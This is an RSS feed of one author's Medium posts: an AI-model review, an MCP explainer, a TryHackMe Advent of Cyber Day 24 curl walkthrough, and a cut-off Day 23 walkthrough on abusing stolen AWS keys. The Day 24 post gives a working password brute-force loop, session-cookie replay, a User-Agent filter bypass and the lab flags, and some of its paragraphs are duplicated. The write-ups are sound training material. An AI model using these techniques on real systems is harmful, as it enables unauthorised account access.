<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Akshat Patel on Medium]]></title>
        <description><![CDATA[Stories by Akshat Patel on Medium]]></description>
        <link>https://medium.com/@patelaksht24?source=rss-b5bdae277b6e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*LKZGPRwOvb5dcdbJ</url>
            <title>Stories by Akshat Patel on Medium</title>
            <link>https://medium.com/@patelaksht24?source=rss-b5bdae277b6e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 08:06:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@patelaksht24/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[I Spent a Day With Claude Fable 5. Here is What Actually Changed!]]></title>
            <link>https://medium.com/@patelaksht24/i-spent-a-day-with-claude-fable-5-here-is-what-actually-changed-19d1cf895b8a?source=rss-b5bdae277b6e------2</link>
            <guid isPermaLink="false">https://medium.com/p/19d1cf895b8a</guid>
            <category><![CDATA[anthropic-claude]]></category>
            <category><![CDATA[ai-agent]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[fable]]></category>
            <dc:creator><![CDATA[Akshat Patel]]></dc:creator>
            <pubDate>Wed, 10 Jun 2026 01:16:54 GMT</pubDate>
            <atom:updated>2026-06-10T12:09:45.784Z</atom:updated>
            <content:encoded><![CDATA[<h3>I Spent a Day With Claude Fable 5. Here’s What Actually Changed.</h3><p>Anthropic released a new model this week, and most of the conversation immediately turned into benchmarks, hype, and AGI speculation.</p><p>Benchmarks. Hot takes. “AGI is here” posts from people who have not opened a terminal in three years.</p><p>So instead of adding to the noise, I wanted to take a more practical angle: what changed for actual work?</p><p>I want to explain what Fable 5 actually is, show you one task I gave it from start to finish, and tell you the one design decision that surprised me as a security person.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*39O8KsruKlS2j9UqKxxh-Q.png" /><figcaption>Anthropic Model Brain</figcaption></figure><h3>First, what is Fable 5?</h3><p>Fable 5 is Anthropic’s most capable model, released to the public with deliberate restrictions.</p><p>The practical version is this: in April, Anthropic built a model tier called Mythos. It was so capable, especially at cybersecurity work, that they did not release it publicly. They gave it only to vetted organizations — security firms, critical infrastructure teams, researchers — under a program where it was used to find real vulnerabilities in operating systems and browsers before attackers could.</p><p>Fable 5 is that same underlying model, now available to everyone.</p><p>Same brain. Different guardrails.</p><p>From the outside, the main distinction appears to be access and safety controls, not a completely different product category.</p><p>That is the part most coverage skips, and it is the most interesting part. For the first time, a frontier lab shipped one model as two products. The difference between them is not capability. It is a wall of safety classifiers.</p><h3>What it is actually good at</h3><p>After using it, three differences were most noticeable to me:</p><p>It runs longer without falling apart. Previous models would lose the plot on multi-hour tasks. Fable 5 is built for long-running work — it plans an approach, checks its own progress against the goal, and adjusts as it goes. In an agent harness like Claude Code, it can keep working on a task for a very long time without a human babysitting every step.</p><p>It was not only useful for code. It handled messy documents, inconsistent spreadsheet entries, and manager-facing summaries better than older models I have used.</p><p>It says no on purpose. More on that at the end, because if you work in security, this is the part worth your attention.</p><h3>The example: one messy spreadsheet, one finished report</h3><p>To make this concrete, I tested it on a workflow I actually deal with at work. I do a version of this every two weeks, and almost everyone has their own version of it: data lives in a spreadsheet, and someone above you needs a clean summary of it.</p><p>Maybe it’s sales numbers for your manager. Expense reports. Survey results. For me, it’s an Excel workbook where multiple teams log how they’re using AI tools — time saved, what worked, what broke.</p><p>The old workflow looked like this:</p><p>Open the workbook<br> Discover that three teams formatted dates three different ways<br> Discover one team typed “saved a few hours i think” in a column meant for numbers<br> Manually clean everything<br> Write the summary myself<br> Reformat it because the first version was too long</p><p>Two to three hours, gone.</p><p>Here is what I gave Fable 5 instead. One prompt, roughly this:</p><blockquote><em>“Here is the workbook. Clean the data: standardize dates, convert text time estimates into numeric hours, flag anything you can’t confidently convert instead of guessing. Then write a one-page summary for my manager — plain language, no individual names, lead with total hours saved and the top three wins. Show me the flagged rows before finalizing.”</em></blockquote><p>Three things in the result mattered to me.</p><p>It flagged instead of guessed. “Saved a few hours i think” came back in a flagged list with a note: ambiguous, suggest 2–3 hours, confirm before including. An older model would have silently picked a number and buried it in the total. If you’ve ever had a number in a leadership report questioned and realized you couldn’t trace where it came from, you know why this matters.</p><p>It held multiple constraints at once. Plain language, no names, lead with the headline number — it kept all of them through the whole document. I didn’t have to fix the tone in one paragraph and the structure in another.</p><p>It told me what it didn’t do. At the end, it noted that two rows had dates outside the reporting period and asked whether to include them. That is the behavior I actually want from automation: not confidence, but honesty about edges.</p><p>Total time: about 15 minutes, most of which was me reviewing the flagged rows.</p><p>That’s the honest pitch. Not “AI replaced my job.” More like: it handled the cleanup and formatting work that usually slows me down before I can get to the actual analysis. The thinking — what counts as a win, what my director actually cares about — stayed with me.</p><h3>Where it actually earned its keep: one long security run in Claude Code</h3><p>The spreadsheet task is relatable, but it’s not the part that made me sit up. This is.</p><p>Here’s the thing every security engineer already knows: AI has been able to help with security work for a while. Spot a misconfig. Explain a CVE. Draft a detection rule if you hand it the exact log format. None of that is new, and I’m not going to pretend it is.</p><p>What was new is how long it held the thread.</p><p>Older models were sprinters. Ask one to do a single, well-scoped thing and it was fine. But a real security task is never one step — it’s a chain. And somewhere around step four or five, previous models would start to drift. They’d forget a constraint from the top of the conversation, contradict an earlier finding, or quietly lose track of what they’d already checked.</p><p>So you’d end up breaking the work into ten separate prompts and stitching the context back together by hand every time. At that point, I was not really reviewing its work. I was constantly reloading context so it could continue.</p><p>So I gave Fable 5, running in Claude Code, a job that I would never have handed an older model in one go:</p><blockquote><em>“Audit this cloud environment’s config against our baseline. For every misconfiguration you find — do three things: confirm it’s actually exploitable in our setup, write the detection logic so we catch it if it recurs, and wire that detection into our alerting flow. Keep a running list of what you’ve checked. Flag anything you’re not sure about instead of fixing it blind. Show me the plan before you touch anything.”</em></blockquote><p>Then I let it run.</p><p>What I watched it do, in one continuous session, was the part that mattered:</p><p>It planned first, then worked the plan. It laid out the audit scope, the findings stage, the detection stage, and the alerting stage — and then actually held that structure the whole way through. It checked its own progress against the goal as it went, the way you’d hope a junior engineer would, instead of charging ahead and forgetting why.</p><p>It separated signal from noise on its own. A config scan throws hundreds of “findings,” most of which don’t matter in your specific environment. Instead of writing a detection rule for every single one, it confirmed which misconfigs were actually reachable given how things were wired, and only built detections for those. That judgment call — does this finding matter here? — is exactly what eats a security engineer’s afternoon.</p><p>It carried the thread end to end. The detection logic it wrote at stage two and referenced the specific findings from stage one. The alerts at stage three referenced the detections from stage two. Nothing got dropped. I never had to remind it what it had already found. For anyone who has spent years re-feeding context to a model every few messages, that is the whole game changing.</p><p>One detail I want to be precise about, because precision is the point of this whole article: this is defensive work, and that matters. Fable 5 blocks offensive security tasks outright and routes them to a weaker model. Authorized defensive work - auditing your own environment, writing detections, hardening config - runs on the full model. So the entire run above happened on Fable 5’s real capabilities, not the fallback. If you’ve wondered whether the safeguards would get in the way of legitimate blue-team work, in my experience, they didn’t.</p><p>I am not going to tell you this replaced a security engineer. It didn’t, and the flag-instead-of-fix step is the reason - the model surfaced the uncertain calls and left the final decisions to me. But the gap between “AI that helps with one security step” and “AI that holds a four-stage security task together while I review instead of babysit” is the real story of this release. The industry signal points the same way: in early testing, Stripe reported Fable 5 compressed months of engineering into days on a migration that would have taken a team over two months by hand. Different domain, same underlying shift - it’s the length of the work it can sustain that changed, not the individual trick.</p><h3>The part that surprised me as a security person</h3><p>I work in cybersecurity. So naturally, the first thing I wondered was how the most capable public model handles security questions.</p><p>Here is the answer: for a lot of them, you’re not talking to Fable 5 at all.</p><p>When a prompt touches high-risk territory - offensive cyber, certain biology and chemistry topics - Fable 5 blocks its own response and a less powerful model, Opus 4.8, answers instead. Anthropic expects this to trigger in under five percent of sessions, and they ran an external bug bounty before launch: over a thousand hours of jailbreak attempts, no universal jailbreak found.</p><p>That has a real security implication.</p><p>The same model that vetted security teams use to find vulnerabilities in operating systems will not help a random account exploit one. The capability exists. The access is gated. The full version still runs - just only for organizations defending critical infrastructure.</p><p>This does not feel like a simple refusal layer added at the end. It feels like Anthropic made access control part of the product design.</p><p>In security we talk about least privilege constantly: give every account only the access it needs, nothing more. We apply it to employees, service accounts, API keys. Anthropic just applied it to intelligence itself. Defenders get the full tool. The general public gets the same brain with the dangerous drawers locked.</p><p>Will people try to pick those locks? Of course. No control is perfect, and Anthropic admits novel attacks may still exist. But “we built the powerful thing, then built the gate, then paid people for a thousand hours to attack the gate before shipping” is a more serious posture than most of this industry has shown.</p><h3>The honest takeaway</h3><p>Is Fable 5 magic? No.</p><p>It still needs clear instructions. It still benefits from you reviewing its work - the flagged-rows step in my example is not optional, it is the whole point. And the smartest thing it did all day was ask me a question instead of guessing.</p><p>But here is the shift I actually felt: I stopped writing prompts like commands and started writing them like a handoff to a capable colleague. Context, constraints, what good looks like, what to flag. The model held up its end.</p><p>If you take one thing from this article, take the prompt structure from my example: clean it, convert it, flag what you can’t confirm, summarize it for this specific audience, show me the flags first. That pattern works on almost any “spreadsheet to summary” task you have, regardless of which model you use.</p><p>The biggest improvement I noticed was not a new trick. It was reliability across longer, messier work. The skill that matters - knowing what you actually want and saying it clearly - did not change at all.</p><p>Edit: <em>Claude Fable 5 nails car wash challenge too 🤣</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MPlNbX2D1yoctrE3CGU-bA.png" /><figcaption>Car wash meme</figcaption></figure><h3>Why This Topic Matters to Me</h3><p>My interest in this is practical. I work on both AI automation and cybersecurity, so I care about two questions at the same time: what can these models help us do, and what happens when the same capability is misused?</p><p>Fable 5 is the first release I’ve seen that takes both halves seriously in the same product. One model, two access levels, real red-teaming before launch. Whether or not the classifiers hold long-term, the architecture of the decision is worth studying - because this is what responsible capability release is going to look like from now on, and security people should be in that conversation, not watching it from outside.</p><p>I am still learning, testing, and building in this space. My goal with posts like this is to explain what I actually tried, what worked, what did not, and what security people should pay attention to.</p><p>I recently completed my MEng in Cybersecurity from UMD, and I’m constantly trying to level up through projects - AI workflow automation, cloud security, and writing that makes technical topics clearer instead of more confusing.</p><p>If this article helped you understand what Fable 5 actually is - beyond the headlines - feel free to connect with me. I’m always open to discussing AI systems, cloud security, and practical security engineering.</p><p>Connect with me here:<br>LinkedIn: <a href="https://www.linkedin.com/in/akshat-patel64">https://www.linkedin.com/in/akshat-patel64</a><br>Portfolio: <a href="https://portfolio-v2-mu-sooty.vercel.app/">Akshat’s Portfolio Website</a></p><p>Thank you for reading, and have a wonderful day/night wherever you are. 🌻</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*gGpLgvV1gpvhvlqTTUWyIw.jpeg" /><figcaption>Why I am crying so much??😭</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19d1cf895b8a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MCP vs Agentic AI: The Difference Almost Everyone Gets Wrong]]></title>
            <link>https://medium.com/@patelaksht24/mcp-vs-agentic-ai-the-difference-almost-everyone-gets-wrong-f9b9fb3616a1?source=rss-b5bdae277b6e------2</link>
            <guid isPermaLink="false">https://medium.com/p/f9b9fb3616a1</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[agentic-ai]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[mcp-server]]></category>
            <category><![CDATA[continuous-integration]]></category>
            <dc:creator><![CDATA[Akshat Patel]]></dc:creator>
            <pubDate>Mon, 16 Mar 2026 20:02:29 GMT</pubDate>
            <atom:updated>2026-03-16T20:02:29.995Z</atom:updated>
            <content:encoded><![CDATA[<p>Last week, I saw someone call MCP “basically agentic AI.”<br>That is like calling a power strip a project manager.<br>Useful? Yes. The thing about making decisions? Absolutely not.</p><p><strong>MCP is the connection layer. Agentic AI is the behavior layer.</strong><br> MCP, or Model Context Protocol, is an open standard for connecting AI applications to external systems like files, databases, search, and software tools. In MCP, servers can expose <strong>resources, prompts, and tools</strong>, and clients can support features like <strong>sampling</strong> for more advanced interactions.</p><p><strong>Agentic AI is about autonomy.</strong><br> It is the part that can pursue goals with limited supervision, adapt to changing conditions, coordinate actions, and make decisions instead of waiting for a human to spoon-feed every next step. That is how major cloud and enterprise vendors describe it, and honestly, that framing is correct.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a4CXtlTCYToMFXqP8tYUbg.png" /></figure><h3>The simplest explanation</h3><p>If you remember one line from this article, make it this:</p><p><strong>Agentic AI decides. MCP connects.</strong></p><p>Agentic AI is the part that says, “I need to check the calendar, read the document, compare the numbers, update the CRM, and send the email.”</p><p>MCP is the part that makes those connections clean and standardized, instead of forcing developers to build a weird custom integration for every tool under the sun. Anthropic introduced MCP specifically to replace fragmented one-off integrations with a single open standard for connecting AI systems to data and tools.</p><p>That is why calling MCP an “agent” is wrong. MCP is not the worker. It is the wiring.</p><h3>Think of it like a real workplace</h3><p>Agentic AI is the employee.</p><p>MCP is the badge, laptop, and permissions.</p><p>The employee figures out what to do.<br>The badge gets them into the building.<br>The laptop gives them access to the systems.<br>The permissions decide what they are allowed to touch.</p><p>Nobody walks into an office and says, “Wow, that keycard is such a strong autonomous contributor.” Yet somehow, in AI conversations, people do the equivalent of that every day.</p><h3>Why people keep mixing them up</h3><p>Because in demos, they show up together.</p><p>You watch an AI system pull files, call tools, read notes, and complete a task, and it all looks like one magical blob. But two separate things are happening:</p><p>The <strong>agentic</strong> part is choosing actions, sequencing steps, and adjusting when the task changes.</p><p>The <strong>MCP</strong> part is making it possible to reach the right tools and data in a standard way.</p><p>That second part is more important than people think. MCP is not just “tool calling with a nicer name.” It uses capability negotiation, and the host keeps control of the broader conversation and security boundaries rather than blindly exposing everything to every connected server. In the architecture docs, MCP explicitly keeps servers isolated and limits what context they receive.</p><p>That is a big deal.</p><p>Because the second you let every integration see everything, your “smart system” starts looking less like modern architecture and more like an expensive mistake.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A6UMRSij4J2ywXqzob0G-A.png" /></figure><h3>The nuance you miss</h3><p>Now, to be fair, MCP absolutely <strong>can support</strong> agentic systems.</p><p>The spec even includes <strong>sampling</strong>, which supports server-initiated agentic behavior and recursive model interactions. And AWS guidance positions MCP as a strong protocol foundation for production agent systems.</p><p>But support is not identity.</p><p>HTTP supports web apps.<br>That does not mean HTTP <em>is</em> the product.</p><p>USB-C supports monitors, hard drives, and chargers.<br>That does not mean USB-C wrote your presentation.</p><p>Same logic here.</p><p>MCP helps agentic AI reach the outside world in a sane, reusable way.<br>It does not magically create judgment, planning, or agency.</p><h3>Why this matters in the real world</h3><p>This is not just a nerdy wording issue.</p><p>If your problem is:</p><p>“Our AI assistant can’t reliably connect to our tools, documents, and systems without ten brittle custom integrations.”</p><p>You are talking about <strong>MCP</strong>.</p><p>If your problem is:</p><p>“Our system can connect to tools, but it still can’t plan, recover from errors, make decisions, or complete multi-step work with minimal supervision.”</p><p>You are talking about <strong>agentic AI</strong>.</p><p>Different problem. Different layer. Different fix.</p><p>And this is exactly where teams get burned.</p><p>They buy an “agent platform” when their real problem is integration.</p><p>Or they wire up every tool in the company and think they built an agent, when what they actually built is a very well-connected system that still needs a human to think for it.</p><p>That is not agentic. That is just a chatbot with a lot of tabs open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*od0PaOrMVh1z7lt7Kyl6Hg.png" /></figure><h3>The takeaway nobody should be confused about anymore</h3><p>MCP is not the brain.</p><p>MCP is not the agent.</p><p>MCP is the standard that helps AI systems access tools, workflows, and data without reinventing the integration layer every single time. The official docs even frame it as something that makes AI apps and agents more capable by giving them access to external systems.</p><p>Agentic AI is the part that reasons, plans, adapts, and acts toward a goal.</p><p>So the smarter sentence is not:</p><p><strong>“MCP is agentic AI.”</strong></p><p>It is:</p><p><strong>“Agentic AI can use MCP.”</strong></p><p>That sentence is less flashy.</p><p>It is also correct. And in AI, that already puts you ahead of half the room.</p><h3>Why This Topic Matters to Me</h3><p>The more I learn about AI systems, the more I notice how often people blur together things that should stay separate. MCP and agentic AI are a perfect example. One helps AI connect to tools and data. The other helps it actually plan, decide, and act. That difference may sound technical, but it changes everything when you’re trying to build useful systems instead of just repeating trendy words on the internet. I like topics like this because they force you to slow down, think clearly, and separate what sounds impressive from what is actually true.</p><p>If you’re a recruiter, engineer, or security professional reading this, I hope what comes through is not that I’m trying to sound like I know everything. I’m not. What I care about is learning properly, understanding how systems actually work under the hood, and explaining technical ideas in a way normal humans can follow without getting hit with ten layers of buzzwords. I recently completed my MEng in Cybersecurity from UMD, and I’m constantly trying to level up through hands-on projects, cloud work, security thinking, and writing that makes technical topics clearer instead of more confusing.</p><p>So that’s where I am right now, learning deeply, building seriously, and sharing what I understand in a way that is useful to other people. If this article helped you better understand the difference between MCP and agentic AI, that already means a lot. And if you think I’d be a strong fit for your team, or you just want to connect and talk about security, AI systems, or building things the right way, I’d genuinely love to connect.</p><p><strong>Connect with me here:</strong><br> LinkedIn: <a href="https://www.linkedin.com/in/akshat-patel64">https://www.linkedin.com/in/akshat-patel64</a><br> Portfolio: <a href="https://akshatpatel64.github.io/">https://akshatpatel64.github.io/</a></p><p>Thank you for reading, and have a wonderful day/night wherever you are 🌻</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f9b9fb3616a1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2025 - Day 24: Exploitation with cURL - Hoperation Eggsploit]]></title>
            <link>https://medium.com/@patelaksht24/advent-of-cyber-2025-day-24-exploitation-with-curl-hoperation-eggsploit-7b3eaed5d511?source=rss-b5bdae277b6e------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b3eaed5d511</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[advent-of-cyber-2025]]></category>
            <category><![CDATA[curl]]></category>
            <category><![CDATA[web-hacking]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Akshat Patel]]></dc:creator>
            <pubDate>Wed, 24 Dec 2025 17:40:25 GMT</pubDate>
            <atom:updated>2025-12-24T17:40:25.042Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*OnyrrEq6oo5dYYnogM_tgA.png" /></figure><p>Day 24. No Burp Suite. No browser. No shiny GUI.</p><p>Just a terminal, a stubborn HTTP server run by evil bunnies, and <strong>cURL</strong>.</p><p>In the final Advent of Cyber 2025 challenge - <strong>“Hoperation Eggsploit” - </strong>the story wraps up with the blue team trying to shut down a wormhole that’s feeding reinforcements to King Malhare. The catch: the control panel is a web app, but all you get is a basic command-line environment.</p><p>No problem. If you can’t bring a browser to the fight, you speak HTTP directly.</p><p>This room is all about going “back to basics”:</p><ul><li>Talking HTTP using <strong>cURL</strong></li><li>Sending <strong>GET</strong> and <strong>POST</strong> requests manually</li><li>Handling <strong>cookies</strong> and sessions by hand</li><li>Automating brute force with a bit of <strong>bash scripting</strong></li><li>Spoofing <strong>User-Agent</strong> headers to bypass naive filters</li></ul><p>The final flag isn’t just about getting the right answers - it’s about proving you understand what tools like Burp, browsers, and brute-force frameworks are doing under the hood.</p><h3>Talking HTTP Without a Browser: cURL Basics</h3><p>Normally, when you visit a website, your browser hides all the protocol noise and just renders the page. Underneath, it’s just HTTP:</p><ul><li>You send a <strong>request</strong> (e.g., GET / or POST /login)</li><li>You get a <strong>response</strong> (status code, headers, HTML, JSON, etc.)</li></ul><p>In this challenge, there’s no browser. So we let <strong>cURL</strong> do the talking.</p><p>Once the AttackBox is up, the simplest sanity check is: curl <a href="http://machine_ip/">http://MACHINE_IP/</a></p><p>That issues a basic GET / request and dumps the HTML response right into your terminal. No rendering, no CSS, just raw HTML - which is exactly what you want for debugging.</p><p>From there, the room walks through a few small web patterns that show up everywhere: login forms, cookies, brute force, and user-agent checks.</p><h3>Task 1 - POST Requests: Logging In Without a UI</h3><p>Imagine a login form that posts to /post.php. In a browser, you type your username/password, hit submit, and the browser sends something like:</p><p>POST /post.php HTTP/1.1<br>Content-Type: application/x-www-form-urlencoded</p><p>username=admin&amp;password=admin</p><p>With cURL, we do the same thing manually:</p><p>curl -X POST -d “username=admin&amp;password=admin” <a href="http://machine_ip/post.php">http://MACHINE_IP/post.php</a></p><ul><li>-X POST → use HTTP POST</li><li>-d → send URL-encoded form data in the request body</li></ul><p>When you send the correct credentials (<strong>admin / </strong><strong>admin</strong>) to /post.php, the application responds with the success flag:</p><blockquote><strong><em>Flag:</em></strong><em> </em><em>THM{curl_post_success}</em></blockquote><p>This is a nice reminder that “a login form” is just a POST endpoint with parameters. Once you see that, tools like Burp, cURL, or Python scripts all become interchangeable.</p><h3>Task 2 - Cookies &amp; Sessions with cURL</h3><p>In a browser, when you log in successfully, the server usually sets a <strong>session cookie</strong> (e.g., PHPSESSID=...). Your browser automatically sends that cookie on every subsequent request.</p><p>With cURL, you’re responsible for both steps:</p><ol><li><strong>Save cookies from a response</strong></li><li><strong>Replay those cookies in future requests</strong></li></ol><p>The room uses /cookie.php as the test endpoint. First, we log in and save the cookie: curl -c cookies.txt -d “username=admin&amp;password=admin” <a href="http://machine_ip/cookie.php">http://MACHINE_IP/cookie.php</a></p><ul><li>-c cookies.txt → save any Set-Cookie headers into cookies.txt</li></ul><p>Then, we replay that session: curl -b cookies.txt <a href="http://machine_ip/cookie.php">http://MACHINE_IP/cookie.php</a></p><ul><li>-b cookies.txt → send the cookies from that file with the request</li></ul><p>On a valid session replay, the endpoint rewards you with:</p><blockquote><strong><em>Flag:</em></strong><em> </em><em>THM{session_cookie_master}</em></blockquote><p>This is exactly how session replay testing works in the real world: once you capture a valid session cookie, you can script it, replay it, or move it to another client.</p><h3>Task 3 - Brute Forcing a Weak Login with Bash + cURL</h3><p>Next up is /bruteforce.php, a simple login form you’re meant to brute force.</p><p>Instead of using Hydra or Burp Intruder, the room has you build the attack yourself so you can see how the logic actually works.</p><p>Create a passwords.txt wordlist:</p><h3>Task 3 - Brute Forcing a Weak Login with Bash + cURL</h3><p>Next up is /bruteforce.php, a simple login form you’re meant to brute force.</p><p>Instead of using Hydra or Burp Intruder, the room has you build the attack yourself so you can see how the logic actually works.</p><p>Create a passwords.txt wordlist:</p><p>admin123<br>password<br>letmein<br>secretpass<br>secret</p><p>Then build a tiny bash script loop.sh:</p><p>for pass in $(cat passwords.txt); do<br> echo “Trying password: $pass”<br> response=$(curl -s -X POST -d “username=admin&amp;password=$pass” <a href="http://machine_ip/bruteforce.php">http://MACHINE_IP/bruteforce.php</a>)<br> if echo “$response” | grep -q “Welcome”; then<br> echo “[+] Password found: $pass”<br> break<br> fi<br>done</p><ul><li>curl -s → silent mode (no progress bar)</li><li>Response is stored in response</li><li>grep -q &quot;Welcome&quot; → checks whether the response indicates a successful login</li></ul><p>Make it executable and run it:</p><ul><li>curl -s → silent mode (no progress bar)</li><li>Response is stored in response</li><li>grep -q &quot;Welcome&quot; → checks whether the response indicates a successful login</li></ul><p>Make it executable and run it:</p><p>Eventually, one password produces a different response:</p><blockquote><em>[+] Password found: secretpass</em></blockquote><p>So the brute-forced admin password is:</p><blockquote><strong><em>Password:</em></strong><em> </em><em>secretpass</em></blockquote><p>This is the core idea behind many “big” tools: send the same HTTP request many times with one changing parameter, and watch for the response that looks different.</p><h3>Task 4 - Bypassing a User-Agent Filter</h3><p>Some applications try to block scripted traffic by looking at the <strong>User-Agent</strong> header. If they see something like curl/7.x.x, they simply deny the request.</p><p>In this room, /agent.php enforces a simple user-agent check. With default cURL:</p><p>curl <a href="http://machine_ip/agent.php">http://MACHINE_IP/agent.php</a></p><p>You’ll likely get a rejection or no flag. But if you spoof the agent string:</p><p>curl -A “TBFC” <a href="http://machine_ip/agent.php">http://MACHINE_IP/agent.php</a></p><ul><li>-A → sets the User-Agent header to whatever you define</li></ul><p>Now the server treats you as the “internal” client it expects and returns:</p><blockquote><em>THM{user_agent_filter_bypassed</em>}</blockquote><p>User-agent filtering is a weak control, but you still see it in the wild. This is a nice reminder that HTTP headers are just text - and any attacker can forge them.</p><h3>Bonus Mission - The Final Panel (High-Level Only)</h3><p>There’s also an optional <strong>bonus mission</strong> at: Bonus Mission - The Final Panel (High-Level Only)</p><p>There’s also an optional <strong>bonus mission</strong> at:</p><p>You’re told to:</p><ul><li>Use rockyou.txt for brute forcing the <strong>password</strong></li><li>Guess a <strong>PIN</strong> between 4000 and 5000</li><li>Chain together the techniques from the room (POSTs, cookies, headers, scripted loops) to authenticate and trigger the “close wormhole” operation</li></ul><p>I won’t spoil the final flag here, but the important part for me was this: by the time you reach the bons, you’re no longer “following steps.”</p><p>You’re chaining techniques:</p><ul><li>Enumerating endpoints</li><li>Scripting multiple HTTP calls</li><li>Handling state manually (cookies, tokens, etc.)</li></ul><p>That’s the point where the room feels less like a lab and more like a tiny red-team puzzle.</p><h3>Wrapping Up Advent of Cyber 2025 (Personal Note)</h3><p>This was the last challenge of Advent of Cyber 2025, and finishing it actually felt satisfying in a different way than the earlier days. Day 24 isn’t flashy - there’s no giant exploit chain or crazy malware - but it quietly ties everything back to fundamentals: protocols, requests, scripts, and a bit of patience.</p><p>Across all 24 days, I ended up touching a lot of areas I care about professionally: web, AWS, ICS, malware, logs, C2, race conditions, and more. Some rooms felt like comfort zones, others forced me to slow down and read carefully instead of just “clicking through.” I’m glad I stuck with it to the end, and more importantly, I feel like I can explain what I did in human terms, not just dump flags. If a recruiter ever stumbles across these write-ups, I’d rather they see someone who actually walked through the exercises, thought about the why behind each step, and used Advent of Cyber as one more way to level up for real….. not just to farm badges.</p><h3>My Journey with Advent of Cyber and Who I am?</h3><p>Every day of this challenge reinforces my passion for learning and problem-solving in cybersecurity. It’s humbling to navigate these scenarios, knowing that there’s always more to discover. If you’re a recruiter reading this, I hope my enthusiasm for growth, resilience in tackling challenges, and dedication to learning come through loud and clear.</p><p>I recently graduated from UMD with an MEng in cybersecurity, passionate about learning new tools and skills. And yes, I’m no expert, and I’m zero, but my one and only aim has always been to evolve, learn, and help! So here I’m simplifying topics, sharing technical insights, and searching for a mentor. Please connect with me on LinkedIn, as I want someone who can help me in this learning journey and guide me with a roadmap! I hope you enjoyed this article. Have a wonderful day/night ahead🌻</p><p>If you’re open to connecting, reach out to me on LinkedIn:<a href="https://www.linkedin.com/in/akshat-patel64">https://www.linkedin.com/in/akshat-patel64</a> | <a href="https://akshatpatel64.github.io/">https://akshatpatel64.github.io/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b3eaed5d511" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2025 - Day 23: AWS Security - S3cret Santa]]></title>
            <link>https://medium.com/@patelaksht24/advent-of-cyber-2025-day-23-aws-security-s3cret-santa-25bf396450a3?source=rss-b5bdae277b6e------2</link>
            <guid isPermaLink="false">https://medium.com/p/25bf396450a3</guid>
            <category><![CDATA[aws-security]]></category>
            <category><![CDATA[advent-of-cyber-2025]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Akshat Patel]]></dc:creator>
            <pubDate>Tue, 23 Dec 2025 17:27:59 GMT</pubDate>
            <atom:updated>2025-12-23T17:27:59.107Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*u9kCfefhrG2xnap_VjtfLA.png" /></figure><p>At this point in Advent of Cyber 2025, King Malhare’s chaos has moved fully into the cloud.</p><p>In <strong>Day 23 - S3cret Santa</strong>, one of TBFC’s undercover elves sneaks into <strong>Sir Carrotbane’s</strong> office and finds the most classic cloud mistake you can imagine: <strong>AWS access keys sitting on the desktop</strong>.</p><p>No password manager. No vault. Just raw credentials lying there like forgotten carrots.</p><p>From there, the room basically turns into a mini <strong>cloud attack path</strong>:</p><ul><li>Start with <strong>stolen AWS credentials</strong></li><li>Use the <strong>AWS CLI</strong> to figure out <em>who</em> you are and <em>what</em> you can d</li><li>Enumerate <strong>IAM permissions</strong> from an attacker mindset</li><li>Spot an interesting <strong>role</strong> (bucketmaster) that you’re allowed to assume</li><li>Use that role to get into <strong>S3</strong> and pull down a “secret” file</li></ul><p>This is exactly the kind of workflow you’ll see in real cloud incidents: small misconfig, big consequences.</p><h3>Step 1 - Who Am I in This AWS Account?</h3><p>The room gives you AWS CLI credentials that are already configured in ~/.aws/credentials, so the first sanity check is:aws sts get-caller-identity<br>That returns something like: {<br> “UserId”: “AIDA…”,<br> “Account”: “123456789012”,<br> “Arn”: “arn:aws:iam::123456789012:user/sir.carrotbane”<br>}</p><p>So we know:</p><ul><li>We’re in <strong>account</strong> 123456789012</li><li>We’re authenticated as <strong>arn:aws:iam::123456789012:user/sir.carrotban</strong></li></ul><p>From an attacker’s perspective, sts get-caller-identity is basically the “whoami” of AWS. It tells you</p><ul><li><em>Which account</em> you’re in</li><li><em>Which principal</em> you’re acting as (user/role)</li></ul><p>Before touching anything else, I like to lock that in mentally: <em>“Okay, I am this 